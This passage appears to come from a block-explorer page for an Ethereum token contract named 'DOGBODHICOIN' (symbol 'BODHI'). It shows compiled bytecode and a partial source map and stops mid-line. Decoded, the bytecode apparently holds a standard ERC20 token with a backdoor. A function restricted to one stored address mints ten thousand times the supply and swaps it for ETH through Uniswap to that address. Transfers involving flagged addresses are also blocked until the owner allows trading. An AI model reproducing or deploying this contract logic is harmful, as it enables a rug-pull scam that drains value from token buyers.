4726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a73601883611d96565b91507f6e6f742074686520636f727265637420616464726573732100000000000000006000830152602082019050919050565b6000611ab3601983611d96565b91507f45524332303a206e6f7420656e6f7567682062616c616e6365000000000000006000830152602082019050919050565b611aef81611ec9565b82525050565b611afe81611ed3565b82525050565b6000602082019050611b1960008301846117f0565b92915050565b6000604082019050611b3460008301856117f0565b611b416020830184611ae6565b9392505050565b6000602082019050611b5d600083018461185d565b92915050565b60006020820190508181036000830152611b7d818461187b565b905092915050565b60006020820190508181036000830152611b9e816118b4565b9050919050565b60006020820190508181036000830152611bbe8161191a565b9050919050565b60006020820190508181036000830152611bde8161195a565b9050919050565b60006020820190508181036000830152611bfe816119c0565b9050919050565b60006020820190508181036000830152611c1e81611a00565b9050919050565b60006020820190508181036000830152611c3e81611a66565b9050919050565b60006020820190508181036000830152611c5e81611aa6565b9050919050565b6000602082019050611c7a6000830184611ae6565b92915050565b600060a082019050611c956000830188611ae6565b611ca2602083018761186c565b8181036040830152611cb481866117ff565b9050611cc360608301856117f0565b611cd06080830184611ae6565b9695505050505050565b6000602082019050611cef6000830184611af5565b92915050565b6000604051905081810181811067ffffffffffffffff82111715611d1c57611d1b611f54565b5b8060405250919050565b600067ffffffffffffffff821115611d4157611d40611f54565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611db282611ec9565b9150611dbd83611ec9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611df257611df1611f25565b5b828201905092915050565b6000611e0882611ec9565b9150611e1383611ec9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e4c57611e4b611f25565b5b828202905092915050565b6000611e6282611ec9565b9150611e6d83611ec9565b925082821015611e8057611e7f611f25565b5b828203905092915050565b6000611e9682611ea9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611eeb82611ec9565b9050919050565b60005b83811015611f10578082015181840152602081019050611ef5565b83811115611f1f576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b611f9d81611e8b565b8114611fa857600080fd5b50565b611fb481611e9d565b8114611fbf57600080fd5b50565b611fcb81611ec9565b8114611fd657600080fd5b5056fea2646970667358221220ccc935b6d41ad87e2962a52b5391218fe178b85525117a9afa73f4aab6af1bb064736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610279578063a9059cbb146102a9578063dd62ed3e146102d9578063f2fde38b1461030957610100565b806370a0823114610203578063715018a6146102335780638da5cb5b1461023d57806395d89b411461025b57610100565b806323b872dd116100d357806323b872dd1461017b578063313ce567146101ab5780633884d635146101c957806339509351146101d357610100565b806301339c211461010557806306fdde031461010f578063095ea7b31461012d57806318160ddd1461015d575b600080fd5b61010d610325565b005b6101176103d9565b6040516101249190611b63565b60405180910390f35b61014760048036038101906101429190611723565b610412565b6040516101549190611b48565b60405180910390f35b610165610429565b6040516101729190611c65565b60405180910390f35b610195600480360381019061019091906116d4565b610433565b6040516101a29190611b48565b60405180910390f35b6101b36104e4565b6040516101c09190611cda565b60405180910390f35b6101d16104e9565b005b6101ed60048036038101906101e89190611723565b61059a565b6040516101fa9190611b48565b60405180910390f35b61021d6004803603810190610218919061166f565b61063f565b60405161022a9190611c65565b60405180910390f35b61023b610687565b005b6102456107df565b6040516102529190611b04565b60405180910390f35b610263610809565b6040516102709190611b63565b60405180910390f35b610293600480360381019061028e9190611723565b610842565b6040516102a09190611b48565b60405180910390f35b6102c360048036038101906102be9190611723565b6108e7565b6040516102d09190611b48565b60405180910390f35b6102f360048036038101906102ee9190611698565b6108fe565b6040516103009190611c65565b60405180910390f35b610323600480360381019061031e919061166f565b610985565b005b61032d610add565b73ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b390611be5565b60405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b6040518060400160405280600c81526020017f444f47424f444849434f494e000000000000000000000000000000000000000081525081565b600061041f338484610ae5565b6001905092915050565b6000600254905090565b6000610440848484610c44565b6104d984336104d485600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1f90919063ffffffff16565b610ae5565b600190509392505050565b601281565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057090611c25565b60405180910390fd5b61059730610585610429565b6127106105929190611dfd565b610f48565b50565b6000610635338461063085600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab590919063ffffffff16565b610ae5565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61068f610add565b73ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071590611be5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600581526020017f424f44484900000000000000000000000000000000000000000000000000000081525081565b60006108dd33846108d885600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1f90919063ffffffff16565b610ae5565b6001905092915050565b60006108f4338484610c44565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90611bc5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284610ac49190611da7565b905083811015610ad357600080fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b1f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5957600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c379190611c65565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab90611c05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90611b85565b60405180910390fd5b80610d2e8461063f565b1015610d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6690611c45565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e135750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f0f57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610eb95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f0e57600860009054906101000a900460ff16610f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0490611ba5565b60405180910390fd5b5b5b610f1a838383610f66565b505050565b600082821115610f2e57600080fd5b60008284610f3c9190611e57565b90508091505092915050565b6000610f548383611130565b610f5c611282565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa057600080fd5b610ff1816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611084816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111239190611c65565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116a57600080fd5b61117f81600254610ab590919063ffffffff16565b6002819055506111d6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112769190611c65565b60405180910390a35050565b3073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d6112bb610429565b6040518363ffffffff1660e01b81526004016112d8929190611b1f565b602060405180830381600087803b1580156112f257600080fd5b505af1158015611306573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132a91906117a0565b506000600267ffffffffffffffff81111561136e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561139c5781602001602082028036833780820191505090505b50905030816000815181106113da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611463577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166318cbafe56114d63061063f565b600084600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166117704261150a9190611da7565b6040518663ffffffff1660e01b815260040161152a959493929190611c80565b600060405180830381600087803b15801561154457600080fd5b505af1158015611558573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611581919061175f565b5050565b600061159861159384611d26565b611cf5565b905080838252602082019050828560208602820111156115b757600080fd5b60005b858110156115e757816115cd888261165a565b8452602084019350602083019250506001810190506115ba565b5050509392505050565b60008135905061160081611f94565b92915050565b600082601f83011261161757600080fd5b8151611627848260208601611585565b91505092915050565b60008151905061163f81611fab565b92915050565b60008135905061165481611fc2565b92915050565b60008151905061166981611fc2565b92915050565b60006020828403121561168157600080fd5b600061168f848285016115f1565b91505092915050565b600080604083850312156116ab57600080fd5b60006116b9858286016115f1565b92505060206116ca858286016115f1565b9150509250929050565b6000806000606084860312156116e957600080fd5b60006116f7868287016115f1565b9350506020611708868287016115f1565b925050604061171986828701611645565b9150509250925092565b6000806040838503121561173657600080fd5b6000611744858286016115f1565b925050602061175585828601611645565b9150509250929050565b60006020828403121561177157600080fd5b600082015167ffffffffffffffff81111561178b57600080fd5b61179784828501611606565b91505092915050565b6000602082840312156117b257600080fd5b60006117c084828501611630565b91505092915050565b60006117d583836117e1565b60208301905092915050565b6117ea81611e8b565b82525050565b6117f981611e8b565b82525050565b600061180a82611d62565b6118148185611d85565b935061181f83611d52565b8060005b8381101561185057815161183788826117c9565b975061184283611d78565b925050600181019050611823565b5085935050505092915050565b61186681611e9d565b82525050565b61187581611ee0565b82525050565b600061188682611d6d565b6118908185611d96565b93506118a0818560208601611ef2565b6118a981611f83565b840191505092915050565b60006118c1602383611d96565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611927600983611d96565b91507f6e6f7420737461727400000000000000000000000000000000000000000000006000830152602082019050919050565b6000611967602683611d96565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119cd602083611d96565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611a0d602583611d96565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a73601883611d96565b91507f6e6f742074686520636f727265637420616464726573732100000000000000006000830152602082019050919050565b6000611ab3601983611d96565b91507f45524332303a206e6f7420656e6f7567682062616c616e6365000000000000006000830152602082019050919050565b611aef81611ec9565b82525050565b611afe81611ed3565b82525050565b6000602082019050611b1960008301846117f0565b92915050565b6000604082019050611b3460008301856117f0565b611b416020830184611ae6565b9392505050565b6000602082019050611b5d600083018461185d565b92915050565b60006020820190508181036000830152611b7d818461187b565b905092915050565b60006020820190508181036000830152611b9e816118b4565b9050919050565b60006020820190508181036000830152611bbe8161191a565b9050919050565b60006020820190508181036000830152611bde8161195a565b9050919050565b60006020820190508181036000830152611bfe816119c0565b9050919050565b60006020820190508181036000830152611c1e81611a00565b9050919050565b60006020820190508181036000830152611c3e81611a66565b9050919050565b60006020820190508181036000830152611c5e81611aa6565b9050919050565b6000602082019050611c7a6000830184611ae6565b92915050565b600060a082019050611c956000830188611ae6565b611ca2602083018761186c565b8181036040830152611cb481866117ff565b9050611cc360608301856117f0565b611cd06080830184611ae6565b9695505050505050565b6000602082019050611cef6000830184611af5565b92915050565b6000604051905081810181811067ffffffffffffffff82111715611d1c57611d1b611f54565b5b8060405250919050565b600067ffffffffffffffff821115611d4157611d40611f54565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611db282611ec9565b9150611dbd83611ec9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611df257611df1611f25565b5b828201905092915050565b6000611e0882611ec9565b9150611e1383611ec9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e4c57611e4b611f25565b5b828202905092915050565b6000611e6282611ec9565b9150611e6d83611ec9565b925082821015611e8057611e7f611f25565b5b828203905092915050565b6000611e9682611ea9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611eeb82611ec9565b9050919050565b60005b83811015611f10578082015181840152602081019050611ef5565b83811115611f1f576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b611f9d81611e8b565b8114611fa857600080fd5b50565b611fb481611e9d565b8114611fbf57600080fd5b50565b611fcb81611ec9565b8114611fd657600080fd5b5056fea2646970667358221220ccc935b6d41ad87e2962a52b5391218fe178b85525117a9afa73f4aab6af1bb064736f6c63430008000033

Deployed Bytecode Sourcemap

11267:2719:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13260:70;;;:::i;:::-;;11349:44;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5271:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4709:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5442:245;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11446:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12716:174;;;:::i;:::-;;5701:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4823:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1458:148;;;:::i;:::-;;816:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11400:39;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5918:213;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5106:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4952:140;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1761:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13260:70;1038:12;:10;:12::i;:::-;1028:22;;:6;;;;;;;;;;;:22;;;1020:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13318:4:::1;13308:7;;:14;;;;;;;;;;;;;;;;;;13260:70::o:0;11349:44::-;;;;;;;;;;;;;;;;;;;:::o;5271:157::-;5345:4;5362:36;5371:10;5383:7;5392:5;5362:8;:36::i;:::-;5416:4;5409:11;;5271:157;;;;:::o;4709:100::-;4762:7;4789:12;;4782:19;;4709:100;:::o;5442:245::-;5538:4;5555:26;5565:4;5571:2;5575:5;5555:9;:26::i;:::-;5592:65;5601:4;5607:10;5619:37;5650:5;5619:8;:14;5628:4;5619:14;;;;;;;;;;;;;;;:26;5634:10;5619:26;;;;;;;;;;;;;;;;:30;;:37;;;;:::i;:::-;5592:8;:65::i;:::-;5675:4;5668:11;;5442:245;;;;;:::o;11446:35::-;11479:2;11446:35;:::o;12716:174::-;12773:13;;;;;;;;;;;12761:25;;:10;:25;;;12753:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;12825:50;12849:4;12861:13;:11;:13::i;:::-;12855:5;:19;;;;:::i;:::-;12825:15;:50::i;:::-;;12716:174::o;5701:203::-;5781:4;5798:76;5807:10;5819:7;5828:45;5862:10;5828:8;:20;5837:10;5828:20;;;;;;;;;;;;;;;:29;5849:7;5828:29;;;;;;;;;;;;;;;;:33;;:45;;;;:::i;:::-;5798:8;:76::i;:::-;5892:4;5885:11;;5701:203;;;;:::o;4823:115::-;4887:7;4914:9;:16;4924:5;4914:16;;;;;;;;;;;;;;;;4907:23;;4823:115;;;:::o;1458:148::-;1038:12;:10;:12::i;:::-;1028:22;;:6;;;;;;;;;;;:22;;;1020:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1565:1:::1;1528:40;;1549:6;;;;;;;;;;;1528:40;;;;;;;;;;;;1596:1;1579:6;;:19;;;;;;;;;;;;;;;;;;1458:148::o:0;816:79::-;854:7;881:6;;;;;;;;;;;874:13;;816:79;:::o;11400:39::-;;;;;;;;;;;;;;;;;;;:::o;5918:213::-;6003:4;6020:81;6029:10;6041:7;6050:50;6084:15;6050:8;:20;6059:10;6050:20;;;;;;;;;;;;;;;:29;6071:7;6050:29;;;;;;;;;;;;;;;;:33;;:50;;;;:::i;:::-;6020:8;:81::i;:::-;6119:4;6112:11;;5918:213;;;;:::o;5106:157::-;5184:4;5201:32;5211:10;5223:2;5227:5;5201:9;:32::i;:::-;5251:4;5244:11;;5106:157;;;;:::o;4952:140::-;5033:7;5060:8;:15;5069:5;5060:15;;;;;;;;;;;;;;;:24;5076:7;5060:24;;;;;;;;;;;;;;;;5053:31;;4952:140;;;;:::o;1761:235::-;1861:1;1841:22;;:8;:22;;;;1833:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1951:8;1922:38;;1943:6;;;;;;;;;;;1922:38;;;;;;;;;;;;1980:8;1971:6;;:17;;;;;;;;;;;;;;;;;;1761:235;:::o;3360:150::-;3418:7;3438:9;3454:1;3450;:5;;;;:::i;:::-;3438:17;;3479:1;3474;:6;;3466:15;;;;;;3501:1;3494:8;;;3360:150;;;;:::o;95:99::-;148:7;176:10;169:17;;95:99;:::o;6998:254::-;7110:1;7091:21;;:7;:21;;;;7083:30;;;;;;7149:1;7132:19;;:5;:19;;;;7124:28;;;;;;7192:5;7165:8;:15;7174:5;7165:15;;;;;;;;;;;;;;;:24;7181:7;7165:24;;;;;;;;;;;;;;;:32;;;;7229:7;7213:31;;7222:5;7213:31;;;7238:5;7213:31;;;;;;:::i;:::-;;;;;;;;6998:254;;;:::o;13338:643::-;13506:1;13488:20;;:6;:20;;;;13480:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13590:1;13569:23;;:9;:23;;;;13561:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13672:6;13651:17;13661:6;13651:9;:17::i;:::-;:27;;13643:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;13725:11;:19;13737:6;13725:19;;;;;;;;;;;;;;;;;;;;;;;;;13724:20;:47;;;;;13749:11;:22;13761:9;13749:22;;;;;;;;;;;;;;;;;;;;;;;;;13748:23;13724:47;13721:191;;;13790:12;:23;13803:9;13790:23;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;13816:12;:20;13829:6;13816:20;;;;;;;;;;;;;;;;;;;;;;;;;13790:46;13787:114;;;13864:7;;;;;;;;;;;13856:29;;;;;;;;;;;;:::i;:::-;;;;;;;;;13787:114;13721:191;13932:41;13948:6;13955:9;13966:6;13932:15;:41::i;:::-;13338:643;;;:::o;3122:150::-;3180:7;3213:1;3208;:6;;3200:15;;;;;;3226:9;3242:1;3238;:5;;;;:::i;:::-;3226:17;;3263:1;3256:8;;;3122:150;;;;:::o;12518:186::-;12596:4;12613:27;12623:9;12634:5;12613:9;:27::i;:::-;12651:23;:21;:23::i;:::-;12692:4;12685:11;;12518:186;;;;:::o;6144:270::-;6254:1;6240:16;;:2;:16;;;;6232:25;;;;;;6288:26;6308:5;6288:9;:15;6298:4;6288:15;;;;;;;;;;;;;;;;:19;;:26;;;;:::i;:::-;6270:9;:15;6280:4;6270:15;;;;;;;;;;;;;;;:44;;;;6341:24;6359:5;6341:9;:13;6351:2;6341:13;;;;;;;;;;;;;;;;:17;;:24;;;;:::i;:::-;6325:9;:13;6335:2;6325:13;;;;;;;;;;;;;;;:40;;;;6396:2;6381:25;;6390:4;6381:25;;;6400:5;6381:25;;;;;;:::i;:::-;;;;;;;;6144:270;;;:::o;6428:273::-;6526:1;6507:21;;:7;:21;;;;6499:30;;;;;;6557:23;6574:5;6557:12;;:16;;:23;;;;:::i;:::-;6542:12;:38;;;;6612:29;6635:5;6612:9;:18;6622:7;6612:18;;;;;;;;;;;;;;;;:22;;:29;;;;:::i;:::-;6591:9;:18;6601:7;6591:18;;;;;;;;;;;;;;;:50;;;;6678:7;6657:36;;6674:1;6657:36;;;6687:5;6657:36;;;;;;:::i;:::-;;;;;;;;6428:273;;:::o;12901:348::-;12967:4;12952:29;;;11814:42;12999:13;:11;:13::i;:::-;12952:61;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13024:21;13062:1;13048:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13024:40;;13093:4;13075;13080:1;13075:7;;;;;;;;;;;;;;;;;;;;;:23;;;;;;;;;;;11887:42;13109:4;13114:1;13109:7;;;;;;;;;;;;;;;;;;;;;:14;;;;;;;;;;;11814:42;13135:28;;;13164:24;13182:4;13164:9;:24::i;:::-;13189:1;13191:4;13196:13;;;;;;;;;;;13226:4;13210:15;:20;;;;:::i;:::-;13135:96;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12901:348;:::o;24:644:1:-;;156:80;171:64;228:6;171:64;:::i;:::-;156:80;:::i;:::-;147:89;;256:5;284:6;277:5;270:21;310:4;303:5;299:16;292:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;402:1;399;392:12;350:2;430:1;415:247;440:6;437:1;434:13;415:247;;;507:3;535:48;579:3;567:10;535:48;:::i;:::-;530:3;523:61;613:4;608:3;604:14;597:21;;647:4;642:3;638:14;631:21;;475:187;462:1;459;455:9;450:14;;415:247;;;419:14;137:531;;;;;;;:::o;674:139::-;;758:6;745:20;736:29;;774:33;801:5;774:33;:::i;:::-;726:87;;;;:::o;836:318::-;;967:3;960:4;952:6;948:17;944:27;934:2;;985:1;982;975:12;934:2;1018:6;1012:13;1043:105;1144:3;1136:6;1129:4;1121:6;1117:17;1043:105;:::i;:::-;1034:114;;924:230;;;;;:::o;1160:137::-;;1245:6;1239:13;1230:22;;1261:30;1285:5;1261:30;:::i;:::-;1220:77;;;;:::o;1303:139::-;;1387:6;1374:20;1365:29;;1403:33;1430:5;1403:33;:::i;:::-;1355:87;;;;:::o;1448:143::-;;1536:6;1530:13;1521:22;;1552:33;1579:5;1552:33;:::i;:::-;1511:80;;;;:::o;1597:262::-;;1705:2;1693:9;1684:7;1680:23;1676:32;1673:2;;;1721:1;1718;1711:12;1673:2;1764:1;1789:53;1834:7;1825:6;1814:9;1810:22;1789:53;:::i;:::-;1779:63;;1735:117;1663:196;;;;:::o;1865:407::-;;;1990:2;1978:9;1969:7;1965:23;1961:32;1958:2;;;2006:1;2003;1996:12;1958:2;2049:1;2074:53;2119:7;2110:6;2099:9;2095:22;2074:53;:::i;:::-;2064:63;;2020:117;2176:2;2202:53;2247:7;2238:6;2227:9;2223:22;2202:53;:::i;:::-;2192:63;;2147:118;1948:324;;;;;:::o;2278:552::-;;;;2420:2;2408:9;2399:7;2395:23;2391:32;2388:2;;;2436:1;2433;2426:12;2388:2;2479:1;2504:53;2549:7;2540:6;2529:9;2525:22;2504:53;:::i;:::-;2494:63;;2450:117;2606:2;2632:53;2677:7;2668:6;2657:9;2653:22;2632:53;:::i;:::-;2622:63;;2577:118;2734:2;2760:53;2805:7;2796:6;2785:9;2781:22;2760:53;:::i;:::-;2750:63;;2705:118;2378:452;;;;;:::o;2836:407::-;;;2961:2;2949:9;2940:7;2936:23;2932:32;2929:2;;;2977:1;2974;2967:12;2929:2;3020:1;3045:53;3090:7;3081:6;3070:9;3066:22;3045:53;:::i;:::-;3035:63;;2991:117;3147:2;3173:53;3218:7;3209:6;3198:9;3194:22;3173:53;:::i;:::-;3163:63;;3118:118;2919:324;;;;;:::o;3249:420::-;;3393:2;3381:9;3372:7;3368:23;3364:32;3361:2;;;3409:1;3406;3399:12;3361:2;3473:1;3462:9;3458:17;3452:24;3503:18;3495:6;3492:30;3489:2;;;3535:1;3532;3525:12;3489:2;3563:89;3644:7;3635:6;3624:9;3620:22;3563:89;:::i;:::-;3553:99;;3423:239;3351:318;;;;:::o;3675:278::-;;3791:2;3779:9;3770:7;3766:23;3762:32;3759:2;;;3807:1;3804;3797:12;3759:2;3850:1;3875:61;3928:7;3919:6;3908:9;3904:22;3875:61;:::i;:::-;3865:71;;3821:125;3749:204;;;;:::o;3959:179::-;;4049:46;4091:3;4083:6;4049:46;:::i;:::-;4127:4;4122:3;4118:14;4104:28;;4039:99;;;;:::o;4144:108::-;4221:24;4239:5;4221:24;:::i;:::-;4216:3;4209:37;4199:53;;:::o;4258:118::-;4345:24;4363:5;4345:24;:::i;:::-;4340:3;4333:37;4323:53;;:::o;4412:732::-;;4560:54;4608:5;4560:54;:::i;:::-;4630:86;4709:6;4704:3;4630:86;:::i;:::-;4623:93;;4740